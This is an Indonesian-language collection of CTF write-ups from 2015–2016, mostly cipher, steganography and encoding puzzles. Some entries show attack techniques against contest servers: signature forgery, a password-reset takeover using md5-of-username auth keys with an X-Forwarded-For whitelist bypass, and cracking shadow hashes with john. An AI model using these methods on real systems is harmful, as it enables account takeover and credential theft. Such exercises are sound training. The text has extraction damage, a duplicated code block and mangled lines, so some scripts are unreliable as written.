Berikut ini adalah solusinya THIS IS THE WORLDS BEST RAP YO ITS GEO HOT AND FOR THOSE THAT DONT KNOW IM GETTING SUED BY SONY LETS TAKE THIS OUT OF THE COURTROOM AND IN TO THE STREETS IM A BEAST AT THE LEAST YOULL FACE ME IN THE NORTH EAST GET MY IRE UP LIGHT MY FIRE ILL GO HARDER THAN EMINEM WENT AT MARIAH CALL ME A LIAR POUND ME IN THE ASS WITH NO LUBECHAFING ………………………………………………… COURTROOM GO ON DO IT I DARE YOU CONGRATULATIONS THE FLAG IS SINCE NEW CRYPTO MIGHT HAVENS A BACKDOORS I USE OLD CRYPTO

Dan pada akhir plaintext didapatkan flag yaitu kalimat berikut ini

SINCENEWCRYPTOMIGHTHAVENSABACKDOORSIUSEOLDCRYPTO

9447 Security Society CTF 2015 – flag finder

source: http://rotiples.tistory.com/43 63

Untuk menyelesaikan problem ini cukup membalik program.

Flag c0ngr47ulaT1ons_p4l_buddy_y0uv3_solved_the_H4LT1N6_prObL3M_n1c3_

9447 Security Society CTF 2015 - imaged

source: http://secgroup.github.io/2015/11/30/9447ctf2015-writeup-imaged/ 64

Description

Our spies found this image. They think something is hidden in it… what could it be? imaged.zip

Solution

Eksekusi string pada gambar seperti berikut 0 $ strings imaged.png | head ­n 6 IHDR 9447 0PLTE H40t 0l(t {Ste

Flag diencode pada field CRC dari PNG. Script dibawah ini dapat mengembalikannya dengan mengakses blok 4byte CRC yang ditemukan pada gambar

#!/usr/bin/python

import sys from struct import unpack

def main(): with open(sys.argv[1], 'rb') as f: png = f.read() flag = '' # skip png signature at the begninning i=8 while True:

# data len + chunk type + data + crc i += 8 + unpack('>I', png[i:i+4])[0] + 4 flag += png[i­4:i] if flag.endswith('}'):

break

print(flag)

if __name__ == '__main__': main()

Sehingga didapatkan flag 0 $ python decrc.py imaged.png 9447{Steg0_redunDaNcy_CHeck}

Flag 9447{Steg0_redunDaNcy_CHeck}

9447 Security Society CTF 2015 – sanutf8y_check

source: http://rotiples.tistory.com/41 65

Pada website ditampilkan 9447{ΤҺi Ⴝ_ⅰЅ_ԝ ㏊ t_Α_fl ᴀ ɡ _ Ⅼ O О k s _ Ⅼ Ⅰ k ℮ { . ..

Namun string tersebut bukanlah raw text yang tepat sehingga perlu diencode lagi simbolnya menjadi ASCII karakter seperti berikut ini 9447{ThiS_iS_what_A_flAg_Looks_LIke}

Flag ThiS_iS_what_A_flAg_Looks_LIke

9447 Security Society CTF 2015 - dubkey

source: https://github.com/p4-team/ctf/tree/master/2015-11-28-9447/dub-key#eng-

version

Dilakukan analisa terlebih dahulu tentang algoritma dan propertinya. Dalam problem ini dapat dilihat bahwa jika dilakukan perubahan satu byte apda pesan ada kemungkinan besar bahwa signature tidak akan berubah.

Idenya adalah msg = receive_message() msg1 = msg[­1] + '\x00' sig1 = sign(msg1) send_signature(sig1)

Kode untuk attacking

import hashlib import socket import string import itertools import base64

def pow(init): for c in itertools.product(string.lowercase, repeat=6): dat = init + ''.join(c) hash = hashlib.sha1(dat) if hash.digest().endswith('\x00\x00\x00'):

return dat

def recv(): return s.recv(99999) return r

def send(msg): s.send(msg)

while True: HOST, PORT = 'dub­key­t8xd5pn6.9447.plumbing', 9447 s = socket.socket() s.connect((HOST, PORT)) inp = recv() print inp p = pow(inp) send(p) r = recv() tosign = recv().split("\n")[0] dat = base64.b64decode(tosign) dat = dat[:­1] + '\x00' send('1\n') send(base64.b64encode(dat)) r = recv() # signed data t = recv() # sign something send('2\n') send(r) print recv(), recv(), recv()

Flag 9447{Th1s_ta5k_WAs_a_B1T_0F_A_DaG}

SECCON CTF 2015 – Last Challenge

67

source: https://ascopectf.wordpress.com/2015/12/06/seccon2015last-challenge-thank-

you-for-playingexercises50/

Description of Challenge

ex1 Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO Plain:ABCDEFGHIJKLMNOPQRSTUVWXYZ{}

ex2 Cipher:EV}ZZD{DWZRA}FFDNFGQO Plain:{HELLOWORLDSECCONCTF}

quiz Cipher:A}FFDNEA}}HDJN}LGH}PWO Plain:??????????????????????

There is no bonus in this question

Solution

Hanya perlu melakukan pencocokan sekuen. Sehingga didapatkan Cipher:A}FFDNEA}}HDJN}LGH}PWO

Plain:SECCON{SEEYOUNEXTYEAR}

Flag SECCON{SEEYOUNEXTYEAR}

SECCON CTF 2015 – start seccon ctf

68

source: https://ascopectf.wordpress.com/2015/12/06/seccon2015start-seccon-

ctfexercises50/

Description of Challenge

ex1 Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}

ex2 Cipher:EV}ZZD{DWZRA}FFDNFGQO Plain: {HELLOWORLDSECCONCTF}

quiz Cipher:A}FFDNEVPFSGV}KZPN}GO Plain: ?????????????????????

There is no bonus in this question

Solution

Hanya perlu melakukan pencocokan sekuen Cipher:A}FFDNEA}}HDJN}LGH}PWO

Plain:SECCON{HACKTHEPLANET}

Flag Plain:SECCON{HACKTHEPLANET}

SECCON CTF 2015 – command line quiz

source: https://ascopectf.wordpress.com/2015/12/06/seccon2015command-line-

quizunknown100/

Description of Challenge

telnet caitsith.pwn.seccon.jp User:root Password:seccon The goal is to find the flag word by “somehow” reading all *.txt files.

Solution

Langkah yang dilakukan adalah, pertama login menggunakan credential login yang telah diberikan pada deskripsi kemudian ketikkan command ls untuk mengetahui file atau direktori apa yang ada disana dan terakhir jawab lima quiz seperti di bawah ini

Open your favorite terminal and type : telnet caitsith.pwn.seccon.jp

Trying 153.120.171.19...­ Connected to caitsith.pwn.seccon.jp. Escape character is '^]'.

CaitSith login: root Password: $ ls bin flags.txt linuxrc stage1.txt stage4.txt usr dev init proc stage2.txt stage5.txt etc lib sbin stage3.txt tmp

$ strings stage1.txt What command do you use when you want to read only top lines of a text file? Set your answer to environment variable named stage1 and execute a shell.

$ stage1=$your_answer_here sh If your answer is what I meant, you will be able to access stage2.txt file.

$ stage1=head sh

$ strings stage2.txt What command do you use when you want to read only bottom lines of a text file? Set your answer to environment variable named stage2 and execute a shell.

$ stage2=$your_answer_here sh If your answer is what I meant, you will be able to access stage3.txt file.

$ stage2=tail sh

$ strings stage3.txt What command do you use when you want to pick up lines that match specific patterns? Set your answer to environment variable named stage3 and execute a shell.

$ stage3=$your_answer_here sh If your answer is what I meant, you will be able to access stage4.txt file.

$ stage3=grep sh

$ strings stage4.txt What command do you use when you want to process a text file? Set your answer to environment variable named stage4 and execute a shell.

$ stage4=$your_answer_here sh If your answer is what I meant, you will be able to access stage5.txt file.

$ stage4=awk sh

$ strings stage5.txt OK. You reached the final stage. The flag word is in flags.txt file. flags.txt can be read by only one specific program which is available in this server. The program for reading flags.txt is one of commands you can use for processing a text file. Please find it. Good luck.฀

$ awk 'NR>=0&&NR<=10' "flags.txt" awk: flags.txt: Operation not permitted $ sed ­n '10,20p' flags.txt $ sed ­n '0,10p' flags.txt $ sed ­n '0,1000000p' flags.txt $ sed 'somehow' flags.txt sed: unmatched 'o' $ sed 's' flags.txt sed: bad format in substitution expression

$ sed '/(somehow)+/g' flags.txt OK. You have read all .txt files. The flag word is shown below.

SECCON{CaitSith@AQUA}

Flag SECCON{CaitSith@AQUA}

SECCON CTF 2015 – decrypt it

source: https://github.com/dqi/ctf_writeup/tree/master/2015/seccon/crypto/cryptooo 70

Desciption

$ ./cryptooo SECCON{*************************} Encrypted(44): waUqjjDGnYxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCEnw= what's the key?

Solution

Jika dilakukan hal berikut ini ./cryptooo SECCON\{

Encrypted(12): waUqjjDGnQ==

Maka akan didapatkan bahwa waUqjjDGn benar, hal ini berarti harus mengeksten flag secara perlahan. Gunakan command bash seperti

reset; for i in SECCON\{{{A..z},{0..9}}; do echo $i; ./cryptooo $i; done Pada awalnya, untuk meningkatkan pesan, sebuah pola menjadi jelas dan cepat dan hanya diperiksa

apakah huruf-huruf tersebut cocok. Hanya ada satu kata dasar disana $ for i in SECCON\{Cry_Pto_Oo_Oo1Oo_oo_Oo_{O,o,0}\}; do echo $i; ./cryptooo $i;

done SECCON{Cry_Pto_Oo_Oo1Oo_oo_Oo_O} Encrypted(44): waUqjjDGnYxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCEnw= SECCON{Cry_Pto_Oo_Oo1Oo_oo_Oo_o} Encrypted(44): waUqjjDGnYxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCMj8= SECCON{Cry_Pto_Oo_Oo1Oo_oo_Oo_0} Encrypted(44): waUqjjDGnYxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCbUM=

Sehingga flag SECCON{Cry_Pto_Oo_Oo1Oo_oo_Oo_O}

9447 CTF 2015 - nicklesndimes

source: https://0x90r00t.com/2015/11/30/9447-ctf-2015-web-200-nicklesndimes-

write-up/

Description

Nick’s been eating your grandmother’s strombomi. Head over to http://nicklesndimes-wq3mhu8l.9447.plumbing . Gain access to his admin account.

Solusi dari team PERTE

Dilakukan pengecekan engine Mellivora CTF pada Github yang digunakan untuk perbaikan sekuritas 9447. https://github.com/Nakiami/mellivora

Kemudian dilakukan peresetan account untuk melakukan pengetesan. Berikut ini adalah e-mail yang didapatkan setelah melakukan peresetan Password recovery for account PERTE From: No Reply <blackhole@9447.plumbing> Subject: Password recovery for account PERTE

PERTE, please follow the link below to reset your password: http://nicklesndimes­ wq3mhu8l.9447.plumbing/reset_password?action=choose_password&auth_key=f8ff22e00 040028a777e04d926645f42&id=199 Regards, Nick Les' Dimes

Seperti yang dapat dilihat, kunci auth yang dikirimkan adalah kunci yang telah dilakukan enkripsi menggunakan md5. Pada implementasinya, hash sha256 digunakan untuk mengenerate: $auth_key = hash('sha256', generate_random_string(128));

Sumber https://github.com/Nakiami/mellivora/blob/master/htdocs/actions/reset_password.php#L49

Lakukan pengecekan pada Google dengan kata kunci f8ff22e00040028a777e04d926645f42 dan akhirnya ditemukan bahwa plain text dari string tersebut adalah PERTE yaitu nama team penulis.

Langkah selanjutnya adalah menemukan email dari admin. E-mail in didapat dari email pemberitahuan untuk peresetan akun yaitu From: No Reply <blackhole@9447.plumbing>

Masukkan email

http://nicklesndimes- wq3mhu8l.9447.plumbing/reset_password akan memberikan tampilan halaman website

admin

pada

halaman

peresetan peresetan

Password reset

Sekarang waktunya untuk merubah password admin dengan menggunakan auth_key yaitu team name (admin) dan id adalah 1 auth_key plain md5 id

21232f297a57a5a743894a0e4a801fc3 admin 1

Sehingga link

http://nicklesndimes- wq3mhu8l.9447.plumbing/reset_password?action=choose_password&auth_key=21232f297a57a5a 743894a0e4a801fc3&id=1

Password telah tereset. Kemudian lakukan login namun terdapat peringatan error (indikasi team lain sedang mereset password admin)

Setelah beberapa waktu, dilakukan percobaan lagi untuk login namun halaman website menampilkan pesan error “Your IP is not on the whitelist for this account”

Sehingga hal yang dapat dilakukan adalah merubah alamat IP dengan menggunkan X-Forwarded_for header dengan request DNS 9447.plumbing: 104.28.13.28, 104.28.12.28

Mencoba untuk melakukan aksi login kembali dan akhirnya flag berhasil didapatkan.

Flag 9447{Bqt2xYjgOkKV91cvX1kd89DN2o0Q4BkK}

SECCON CTF 2015 – Individual Elebin

source: http://blukat29.github.io/2015/12/seccon-ctf-2015-individual-elebin/ 72

Description

Execute all ELF files

Solution

Diberikan ELF (Executable and Linkable Format) binary 11 untuk berbeda arsitektur.

$ file * 10.bin: ELF 32­bit LSB executable, ARM, version 1, statically linked, stripped 11.bin: ELF 32­bit MSB executable, MIPS, MIPS­I version 1 (SYSV), statically linked, stripped 1.bin: ELF 32­bit LSB executable, Intel 80386, version 1 (FreeBSD), statically linked, stripped 2.bin: ELF 32­bit MSB executable, MC68HC11, version 1 (SYSV), statically linked, stripped 3.bin: ELF 32­bit LSB executable, NEC v850, version 1 (SYSV), statically linked, stripped 4.bin: ELF 32­bit MSB executable, Renesas M32R, version 1 (SYSV), statically linked, stripped 5.bin: ELF 64­bit MSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped 6.bin: ELF 32­bit MSB executable, SPARC version 1 (SYSV), statically linked, stripped 7.bin: ELF 32­bit LSB executable, Motorola RCE, version 1 (SYSV), statically linked, stripped 8.bin: ELF 32­bit LSB executable, Axis cris, version 1 (SYSV), statically linked, stripped 9.bin: ELF 32­bit LSB executable, Atmel AVR 8­bit, version 1 (SYSV), statically linked, stripped

Ada beberapa cara untuk mengatasi problem ini

Static analysis

Semua file dapat dibuka dengan IDA tanpa membutuhkan usaha maksimal. Namun mempelajari tiap arsitektur dan memahami assemblies tidak dapat diselesaikan dengan waktu 24 jam saja. Sehingga langkah ini tidak bagus.

Building cross-compiler toolchain

Dengan membangun GNU cross-compiler toolchain untuk mendapatkan simulator tiap target. Tutorial dapat ditemukan di dan menyediakan walkthrough secara ringkas. Yang diperlukan hanya menginstall gcc untuk mengekseskusi binary. Namun kelemahann membangun tool untuk 10 arsitektur (tidak termasuk x86) akan membutuhkan waktu yang lama.

Using pre-built image

Ada multi arsitektur environtment yang dikembangkan dan digunakan untuk menyelesaikan SECCON 2014 final. Tool ini dapat ditemukan di. Tool ini adalah CentOS VM Image untuk VirtualBox Oracle dan memiliki cross-compiler yang cocok untuk segala jenis arsitektur. $ /usr/local/cross/bin/m32r­elf­run 4.bin N

Flag

Dengan mengkombinasikan keluaran dari tiap binary, flag akan ditemukan

SECCON{AaABiN1234567890abcdefBDFHJLNPAW3a5d37a38a0d28faAq}

InsomniHack 2016 – Bring the noise

source: https://0x1337seichi.wordpress.com/2016/01/17/insomnihack-2016-ctf-teaser-

bring-the-noise-crypto-200/

Problem ini memberikan source code https://drive.google.com/file/d/0B6OaYEHABRfLTE9EWkpOdDU3NHM/view?usp=sharing awalnya service akan mengirimkan 5 huruf hexa dan meminta untuk menemukan plain text yaitu string yang telah dilakukan enkripsi md5 diawali dengan awalan kata yang diberikan.

Untuk menyelesaikan masalah tersebut, gunakanlah script berikut ini

import itertools import hashlib

def solve(s): charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890" for i in range(5): for j in itertools.product(charset,repeat=i): test = "".join(j)

h = hashlib.md5(test).hexdigest().strip() if h[:5] == s: print ( "challenge solved %s for %s " % (test,s)) return test

return ""

Setelah mengirimkan respon valid untuk problem ini, service atau server membalas dengan 40 persamaan. Kemudian menginspeksi souce code dari server maka akan didapatkan daftar angka bilangan bulat dan hasil dari perkalian koefisien. Berikut ini adalah source code yang digunakan untuk menyelesaikan problem

#!/usr/bin/env python2.7 import struct import os import itertools import socket import hashlib

def solve(s): charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890" for i in range(5): for j in itertools.product(charset,repeat=i): test = "".join(j)

h = hashlib.md5(test).hexdigest().strip() if h[:5] == s: print ( "challenge solved %s for %s " % (test,s)) return test

return "" s=socket.socket() s.connect(("bringthenoise.insomnihack.ch",1111)) #s.connect(("localhost",1111)) data = s.recv(1024) print data challenge = data.split("=")[1].strip() answer = solve(challenge) s.send(answer + '\n') equations=[] data = s.recv(1024) #print data return "" s=socket.socket() s.connect(("bringthenoise.insomnihack.ch",1111)) #s.connect(("localhost",1111)) data = s.recv(1024) print data challenge = data.split("=")[1].strip() answer = solve(challenge) s.send(answer + '\n') equations=[] data = s.recv(1024) #print data

g = data.split("\n") for i in g: if ((len(i) > 3) and ("Enter" not in i)): equations.append([ int(x) for x in i.replace(",","").replace("L","").split(" ") ]) for x in itertools.product(range(8), repeat=6): x = list(x) allok = True for e in equations: result = sum(x[i]*e[i] for i in range(6)) % 8 thisok=False for v in [­1,0,1]: thisok = thisok or (e[6] == (result + 8 + v) % 8) allok = allok and thisok if allok: r = repr(x) answer = r[1:­1] print "calculated answer %s " %answer s.send(answer + '\n') data = s.recv(1024) s.close() print data

Dengan mengekseskusinya, flag berhasil didapatkan

Flag INS{ErrorsOccurMistakesAreMade}

Break In 2016 – you can(t) see me

source: https://github.com/objEEdump/breakin/tree/master/you_cant_see_me 74

Dalam problem ini, diberikan sebuah gambar, berikut ini adalah linknya https://github.com/objEEdump/breakin/blob/master/you_cant_see_me/color.png

Melihat dari ukuran gambar yang kecil, gambar ini pasti menyembunyikan pesan biner. Diasumsikan bahwa pixel berwarna merah merepresentasikan biner 1 sedangkan pixel berwarna hitam merepresentasikan biner 0. Berikut ini adalah source code untuk melihat data biner tersebut

#!/usr/bin/env python

from PIL import Image

pic = Image.open("color.png") data = pic.load()

red = (255, 0, 0)

# We create an array to hold all the lines and start to loop through # each pixel binary_lines = [] width, height = pic.size for y in xrange( height ):

binary_line = [] for x in xrange( width ):

pixel = data[x, y]

# We only have the two colors red and black, so I just test #for one case and then use `else`. if pixel == red:

binary_line.append( '1' ) else: binary_line.append( '0' )

binary_lines.append( binary_line )

# A little 'list comprehension' magic to get the good stuff out... ascii_text = ''.join([ chr(int(''.join(separated),2))

for separated in binary_lines ]) print ascii_text

Setelah mengeksekusi program tersebut maka didapatkan flagnya

Flag

3xXKkFstTUpsG2IFDirE6xDrcAF8DSx4iWxd5f9IQ9T205izN8lS2MQUlsF11gT4TFXHHlLH VHprNTtrh6lURfdUW7Lpuzgu1VKzwb1bg1oq6Ae3GnykkLZZsnze3HVLxHlfCYtzyrcV2Oxp0G b0Z2ELphR4Oxo7TyvHCuWKWlN8t8KIfHysZK7jBNPu6wRVEUPIwVra

Break In 2016 – find the idiot

source: https://github.com/objEEdump/breakin/tree/master/find_the_idiot 75

Diberikan file zip berikut ini https://github.com/objEEdump/breakin/blob/master/find_the_idiot/find_the_idiot.zip yang ketika dilakukan ekstraksi terlihat seperti full-fledge filesystem dari Linux. Tampaknya harus mengakses semua file yang ada tak terkecuali file yang sensitif sekalipun.

Langkah pertama yaitu unshadow file-file tersebut dengan cara menaruhnya pada temporary directory. Berikut ini adalah command yang digunakan untuk meng-unshadow $ unshadow passwd shadow > use_these

Kemudian memberikan john wordlist seperti biasa dan akhirnya mendapatkan password $ john ­­wordlist=~/cyberteam/tools/dictionary_files/john.txt use Loaded 7 password hashes with 7 different salts (crypt, generic crypt(3) [?/64]) Press 'q' or Ctrl­C to abort, almost any other key for status dragon1 (gohan)

Terlihat bahwa user gohan memiliki password dragon1. Itulah flagnya

Flag dragon1.

Break In 2016 – eight circle of hell

source: https://takt0rs.wordpress.com/2016/01/25/break-in-2106-eighth-circle-of-hell/ 76

Diberikan gambar

berikut ini https://takt0rs.files.wordpress.com/2016/01/eighthcircleofhell.png?w=549

Berdasarkan judul problem, problem ini adalah problem steganography malbolge yang berkaitan dengan

gambar tersebut pada http://www.bertnase.de/npiet/npiet-execute.php sehingga mendapatkan text yang aneh "RCdgJHFwIkp9fXtGeXk2L2V0MmJOTkwnLGwqaignZ2dle0FjP2A8eykoeHdZb3Rzcmsxb1FQbGtkKi

bahasa esoteric.

lKSWVkY2JbIUJYV1ZbWlN3V1ZVN1NSS29JSGxGLkpDQkdAZERDQiQjPzhcNnw6MzJWNjU0MzIxKnAoT G0lSSMiJ34lJHtBYn59dnV0OnhxWXV0bTNUcGluZ2xrZCpoZ2BIXiRiRFpfXl1WelRTWFdWVU5yTFFK T05NTEVEaEJBZShEQ0JBOl44PTw7NDkyVjA1LjMyK08vKC0sKyojRyEmfSR7ekB+d197enM5WnZvdG0 zcXBvbm1mTitpS2dmZV4kXFtaWV5XXFV5U1hRdVVUU0xLbzJOR0ZqLUlIR0BkPkM8YCM/OFw8NXszVz c2djQzLCtPL28nLCskI0cnJmZlI3p5eD5fe3R5cjhZdW40bGtwaWguT2tkY2IoYGVeY1xbIUJeV1ZVe VlYOlBPVE1xUTMySEdMS0RoSCpGRT5iJUE6Pzg3Wzs0M1c3dzUuUixyMC8uLSwlSWooJ35EfHt6eT9g X3t0eXJ3cDZuc3JxcGkvbWxlamloZ2ZfXl0jYWBCQV1cW1R4WFdWOE5TUktKbjFNTEtKQ2dBRkVEPWE kOj8+PTw1NFg4eDYvU3RzMTApTS0sbGsjRycmJXxkInk/YF91dHM5d3ZYdG1sazFvbm1sZU0qdQ=="

String tersebut adalah base64 yang didecode "D'`$qp"J}}{Fyy6/et2bNNL',l*j('gge{Ac?`<{)(xwYotsrk1oQPlkd*)JIedcb[!BXWV[ZSwWVU 7SRKoIHlF.JCBG@dDCB$#?8\6|:32V654321*p(Lm%I#"'~%${Ab~}vut:xqYutm3Tpinglkd*hg`H^ $bDZ_^]VzTSXWVUNrLQJONMLEDhBAe(DCBA:^8=<;492V05.32+O/(­,+*#G!&}${z@~w_{zs9Zvotm 3qponmfN+iKgfe^$\[ZY^W\UySXQuUTSLKo2NGFj­ IHG@d>C<`#?8\<5{3W76v43,+O/o',+$#G'&fe#zyx>_{tyr8Yun4lkpih.Okdcb(`e^c\[!B^WVUyY X:POTMqQ32HGLKDhH*FE>b%A:?87[;43W7w5.R,r0/.­,%Ij('~D|{zy?`_{tyrwp6nsrqpi/mlejih gf_^]#a`BA]\[TxXWV8NSRKJn1MLKJCgAFED=a$:?>=<54X8x6/Sts10)M­,lk#G'&%|d"y?`_uts9w vXtmlk1onmleM*u"

Kemudian menggunakan bahasa lain malbolge dimana output yang dihasilkan adalah Good work finding this shit. Your flag is dafuck_how_did_you_find_this!

Flag dafuck_how_did_you_find_this!

Break In 2016 – three thieves threw trumpets through trees

77

source: http://h4ckx0re-ctf-crew.co.nf/2016/01/27/break-in-2016-ctf-three-thieves-

threw-trumpets-through-trees-100-pts/

Diberikan sebuah file dengan format jpg. Namun untuk mendapatkan flag ubah ekstensi file dari jpg menjadi wav.

Langkah kedua mengimpor file tersebut pada audacity.

Lalu untuk mendapatkan flag, mainkan file adio tersebut secara reverse dan dengan kecepatan lambat

Flag: abracadabra

CSAW CTF Qualification Round 2015 – crypto 50

source: https://ctftime.org/task/1656 78

RXZpbCBDb3JwLCB3ZSBoYXZlIGRlbGl2ZXJlZCBvbiBvdXIgcHJvbWlzZSBhcyBleHBlY3RlZC4g\nV GhlIHBlb3BsZSBvZiB0aGUgd29ybGQgd2hvIGhhdmUgYmVlbiBlbnNsYXZlZCBieSB5b3UgaGF2\nZS BiZWVuIGZyZWVkLiBZb3VyIGZpbmFuY2lhbCBkYXRhIGhhcyBiZWVuIGRlc3Ryb3llZC4gQW55\nIGF 0dGVtcHRzIHRvIHNhbHZhZ2UgaXQgd2lsbCBiZSB1dHRlcmx5IGZ1dGlsZS4gRmFjZSBpdDog\neW91 IGhhdmUgYmVlbiBvd25lZC4gV2UgYXQgZnNvY2lldHkgd2lsbCBzbWlsZSBhcyB3ZSB3YXRj\naCB5b 3UgYW5kIHlvdXIgZGFyayBzb3VscyBkaWUuIFRoYXQgbWVhbnMgYW55IG1vbmV5IHlvdSBv\nd2UgdG hlc2UgcGlncyBoYXMgYmVlbiBmb3JnaXZlbiBieSB1cywgeW91ciBmcmllbmRzIGF0IGZz\nb2NpZXR 5LiBUaGUgbWFya2V0J3Mgb3BlbmluZyBiZWxsIHRoaXMgbW9ybmluZyB3aWxsIGJlIHRo\nZSBmaW5h bCBkZWF0aCBrbmVsbCBvZiBFdmlsIENvcnAuIFdlIGhvcGUgYXMgYSBuZXcgc29jaWV0\neSByaXNlc yBmcm9tIHRoZSBhc2hlcyB0aGF0IHlvdSB3aWxsIGZvcmdlIGEgYmV0dGVyIHdvcmxk\nLiBBIHdvcm xkIHRoYXQgdmFsdWVzIHRoZSBmcmVlIHBlb3BsZSwgYSB3b3JsZCB3aGVyZSBncmVl\nZCBpcyBub3Q gZW5jb3VyYWdlZCwgYSB3b3JsZCB0aGF0IGJlbG9uZ3MgdG8gdXMgYWdhaW4sIGEg\nd29ybGQgY2hh bmdlZCBmb3JldmVyLiBBbmQgd2hpbGUgeW91IGRvIHRoYXQsIHJlbWVtYmVyIHRv\nIHJlcGVhdCB0a GVzZSB3b3JkczogImZsYWd7V2UgYXJlIGZzb2NpZXR5LCB3ZSBhcmUgZmluYWxs\neSBmcmVlLCB3ZS BhcmUgZmluYWxseSBhd2FrZSF9Ig==

String di atas terlihat seperti diencode menggunakan base64 namun terdapat \n pada string diatas sehingga base64 decode << list dari blok dipisahkan menggunakan \n

$ base64 ­­decode <<< IHJlcGVhdCB0aGVzZSB3b3JkczogImZsYWd7V2UgYXJlIGZzb2NpZXR5LCB3ZSBhcmUgZmluYWxs

Ulangi kata-kata tersebut "flag{We are fsociety, we are finall $ base64 ­­decode <<< eSBmcmVlLCB3ZSBhcmUgZmluYWxseSBhd2FrZSF9Ig== y free, we are finally awake!}"

Flag: flag{We are fsociety, we are finally free, we are finally awake!}

HackIm CTF 2016 – Crypto question 1

source: https://cryptsec.wordpress.com/2016/01/31/hackim-ctf-2016-write-up-crypto-

question-1-500-points/

Problem

You are in this GAME. A critical mission, and you are surrounded by the beauties, ready to shed slik Reviews their gowns on your beck. On onside your feelings are pulling you apart and another side you are called by the duty. The biggiest question is sex or success? The signals of subconcious mind are not clear, cryptic. You also have the message of heart the which is clear and cryptic. You just need to use three of them and find whats the clear message of your Mind … What you must do?

Solution

Pada problem ini diberikan sebuah file zip yang berisi Heart_clear.txt Heart_crypt.txt Mind_crypt.txt

Tugas yang diberikan adalah mendekrip file Mind_crypt.txt

Berikut ini adalah langkah-langkah melakukan dekripsi. Cari kunci dekripsi dengan melakukan operasi XOR diantara file Heart_clear.txt dan Heart_crypt.txt

from Crypto.Util.strxor import strxor

cipher1 = open('Heart_crypt.txt').read().rstriplain1 = open('Heart_clear.txt').read().rstripkey = '' for i in xrange(len(cipher1)­1):

for p in plain1: if strxor(plain1[i:i+1], p) == cipher1[i:i+1]:

key += p break

print key

Output Its right there what you are looking for.

Dekrip file Mind_crypt.txt dengan kunci

def rep(c, k, key=''): while len(key) < len(c): key += k return key[0:len(c)]

cipher2 = open('Mind_crypt.txt').read().rstripey = 'Its right there what you are looking for. ' key = rep(cipher2, key) plain2 = strxor(key, cipher2) print plain2

Output https://play.google.com/store/apps/collection/promotion_3001629_watch_live_games?hl=en

Setelah mengunjungi URL, didapatkan flag Never Miss a Game

HackIm CTF 2016 – crypto question 2

source: https://cryptsec.wordpress.com/2016/01/31/hackim-ctf-2016-write-up-crypto-

question-2-400-points/

Problem

Seseorang telah melanggar dan menyusup keamanan. Terdapat beberapa bukti yaitu log yang telah terubah, record telah termodifikasi degnan key seperti pada text book. Operasinya sangat halus seperti caesar conquested gaul. Setelah menganalisa bukti, ditemukan ekstraksi text pada file. Dibutuhkan judul buku kembali namun hanya tersisa sebagian saja.

The_extract.txt https://github.com/ctfs/write-ups-2016/raw/master/nullcon-hackim- 2016/crypto/crypto-2-400/The_extract.txt

Solution

File The_extract.txt memiliki cipher Nb. Ckbkr De bkmoc kqksxcd dswo dy lvymu dro wycd nkxqobyec Sxdobxod wkvgkbo

ofob mbokdon, k lydxod mkvvon AEKVXDY. Grsvo Ckbkr sc mvycon ypp sx rob mywzedob vkl, rob cscdob, Rkxxk, sc lbedkvvi kddkmuon kxn vopd sx k mywk. Kc Ckbkr boovc gsdr qesvd yfob xyd losxq drobo pyb rob cscdob, k gol yp nomozdsyx mvycoc sx, drbokdoxsxq rob kxn ofobiyxo cro vyfoc.

Rkxxk’c myxnsdsyx sc wscvoknsxq. Sx rob mywk cdkdo, cro sc klvo dy lesvn k zcimrsm lbsnqo gsdr PLS Czomskv Kqoxd Tkcyx WmXosv. Rob mbizdsm wocckqoc zvkqeo Tkcyx dy uooz Ckbkr ckpo.

Dyeqr kxn cdbood­cwkbd Tkcyx WmXosv nyocx’d lovsofo sx fscsyxc yb dovozkdrsm wocckqoc, kxn ro psqrdc dro fysmo sxcsno rsc rokn. Rsc psbcd swzboccsyx yp Nb. Ckbkr De sc kxydrob cdsvoddy gokbsxq smo­nbkqyx yx dro gkb zkdr―exdsv ro gsdxoccoc rob pkçkno mbewlvo kpdob coosxq rob cscdob’c lvyyni, dybdebon lyni. Tkcyx’c zbydomdsfo sxcdsxmd usmuc sx. Ro pkvvc pyb Ckbkr―rkbn.

Grox kx ohdbowoxvi nkxqobyec kbwc nokvob kxn milobmbswsxkv nscmyfobc drkd Ckbkr lvymuon rsc lydxod, ro usnxzc Ckbkr. Zvkmon sx kx swzyccslvo zycsdsyx, gsvv cro nocdbyi dro lydxod dy zbydomd xkdsyxkv comebsdi yb bovokco sd dy ckfo dro wkx cro vyfoc

Dalam description problem dijelaskan bahwa cipher ini sepertinya adalah enkripsi vignere. Untuk penyelesaian, digunakan metode kasiski untuk mengecek panjang dari key. Sehingga ketika panjang key ditemukan, dapat dilakukan brute force decryption key.

Key adalah kkk dengan panjang 3 karakter sehingga didapatkan plaintext sebagai berikut Dr. Sarah Tu races against time to block the most dangerous Internet malware

ever created, a botnet called QUALNTO. While Sarah is closed off in her computer lab, her sister, Hanna, is brutally attacked and left in a coma. As Sarah reels with guilt over not being there for her sister, a web of deception closes in, threatening her and everyone she loves.

Hanna’s condition is misleading. In her coma state, she is able to build a psychic bridge with FBI Special Agent Jason McNeil. Her cryptic messages plague Jason to keep Sarah safe.

Tough and street­smart Jason McNeil doesn’t believe in visions or telepathic messages, and he fights the voice inside his head. His first impression of Dr.

Sarah Tu is another stiletto wearing ice­dragon on the war path―until he witnesses her façade crumble after seeing her sister’s bloody, tortured body. Jason’s protective instinct kicks in. He falls for Sarah―hard.

When an extremenly dangerous arms dealer and cybercriminal discovers that Sarah blocked his botnet, he kidnps Sarah. Placed in an impossible position, will she destroy the botnet to protect national security or release it to save the man she loves

Setelah melakukan pencarian dari petunjuk akhirnya ditemukan flag Flag In The Shadow of Greed

HackIm CTF 2016 – crypto question 3

source: https://cryptsec.wordpress.com/2016/01/31/hackim-ctf-2016-write-up-crypto-

question-3-400-points/

Problem

